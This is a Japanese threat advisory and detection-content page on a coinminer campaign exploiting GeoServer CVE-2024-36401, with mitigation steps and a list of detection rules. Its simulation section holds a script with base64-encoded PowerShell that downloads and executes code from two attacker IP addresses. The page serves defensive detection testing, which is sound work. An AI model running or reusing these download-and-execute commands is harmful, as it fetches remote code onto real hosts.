GeoServer攻撃中:マルウェアコインマイナキャンペーン
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
脅威アクターがGeoServerのリモートコード実行の脆弱性CVE-2024-36401を悪用し、未パッチのサーバーに暗号通貨マイナーとNetCatを展開しています。この活動は、PowerShell、Bash、およびcertutilを利用して、複数の悪意あるドメインおよびIPアドレスからXMRigをダウンロードし、起動することに依存しています。いくつかのダウンローダースクリプトとドロッパーが使用され、通常はZIPアーカイブにパッケージ化され、NSSMを通じてサービスとして永続化されます。主な目的は、無断でマイニングするためのコンピューティングリソースを確保することです。
調査
このレポートでは、エンコードされたPowerShell、Bashベースのフェッチャー、およびcertutilを使用してマイナーペイロードを取得する3つのバリアント(A、B、C)について詳述しています。 pool.supportxmr.com および複数のaaaaaaaaa.cyouサブドメインから獲得します。配信メカニズムにはバッチスクリプト、ZIPバンドル、およびsystemdと名付けられた独自のダウンローダー、HTTPベーシック認証クレデンシャルが含まれます。アナリストは、検出とスコーピングをサポートするために、URL、IPアドレス、およびファイル名という主要インジケーターを抽出しました。
緩和策
GeoServerパッチを適用し、CVE-2024-36401に対処し、最新サポートリリースでデプロイを維持してください。既知のマイニングプールおよび関連インフラストラクチャへのアウトバウンド接続をブロックし、疑わしいエンコードされたPowerShellまたはBash実行を監視します。管理者以外のコンテキストでのcertutilの使用を制限し、NSSM経由でインストールされた不正なサービスを防ぐためにアプリケーション許可リストを実施します。
対応
観測されたコマンドライン、ハッシュ、ネットワークインジケーターの検出を実施します。影響を受けたホストを隔離し、マイナーサービスと永続化アーティファクトを根絶し、二次ペイロードがないかフォレンジックスイープを実施します。露出したクレデンシャルをローテーションし、管理アクセスには多要素認証を要求します。
攻撃フロー
検出
Windows Defenderの保護を無効化(registry_event経由)
表示
Windows Defenderの設定変更が疑わしい(powershell経由)
表示
可能な永続化ポイント [ASEPs – Software/NTUSER Hive] (registry_event経由)
表示
Schtasksが疑わしいディレクトリ/バイナリ/スクリプトを指している (cmdline経由)
表示
Public User Profileに疑わしいファイルが存在(file_event経由)
表示
Powershell経由のダウンロードまたはアップロード(cmdline経由)
表示
検出するためのIOC(SourceIP):GeoServerを標的としたマルウェアコインマイナー攻撃事例
表示
検出するためのIOC(DestinationIP):GeoServerを標的としたマルウェアコインマイナー攻撃事例
表示
検出するためのIOC(HashMd5):GeoServerを標的としたマルウェアコインマイナー攻撃事例
表示
GeoServerの脆弱性を悪用した悪意あるペイロードのダウンロードのためのCertutil使用を検出 [Windows Process Creation]
表示
GeoServerの脆弱性を標的としたエンコードされたPowerShellコマンドを検出 [Windows Powershell]
表示
シミュレーションの実行
前提条件:テレメトリー&ベースラインの事前飛行チェックが完了している必要があります。
理論的根拠:このセクションでは、検出ルールをトリガーするために設計された敵テクニック(TTP)の正確な実行を詳細に説明します。コマンドとナarrativeは、識別されたTTPを直接反映し、検出ロジックによって予測される正確なテレメトリーを生成することを目標としています。
-
攻撃のストーリー&コマンド:
攻撃者は、脆弱なGeoServer構成ファイルをダウンロードして実行し、暗号通貨マイナーをドロップする悪意あるBase64ペイロードを獲得しました。シンプルなスクリプトブロック検出を回避するために、攻撃者は-encスイッチを事前にエンコードされた文字列(一つか二つの既知のIOC)と共に使用します。攻撃者は、ペイロードを妥協されたWindowsホスト上でローカルに実行し、powershell.exeプロセス作成が、ルールが監視する正確なBase64文字列を含むという結果を引き起こします。 -
回帰テストスクリプト:
# ------------------------------------------------- # Sigmaルールをトリガーするための回帰スクリプト # ------------------------------------------------- # ペイロード1(最初のIOCに一致) $b64_1 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMjIwLjg0LjEwNy42OS9qcy9ndy50eHQnKQA=' powershell.exe -enc $b64_1 # ペイロード2(2番目のIOCに一致) $b64_2 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8xMTkuMTk0LjE1My4zMTo4MDgwL2ljb24vanMvd2kudHh0Jyk=' powershell.exe -enc $b64_2 -
クリーンアップコマンド:
# ------------------------------------------------- # クリーンアップ - 残存する可能性のあるPowerShellペイロードを終了 # ------------------------------------------------- Get-Process -Name powershell -ErrorAction SilentlyContinue | Where-Object { $_.StartInfo.Arguments -match '-enc' } | Stop-Process -Force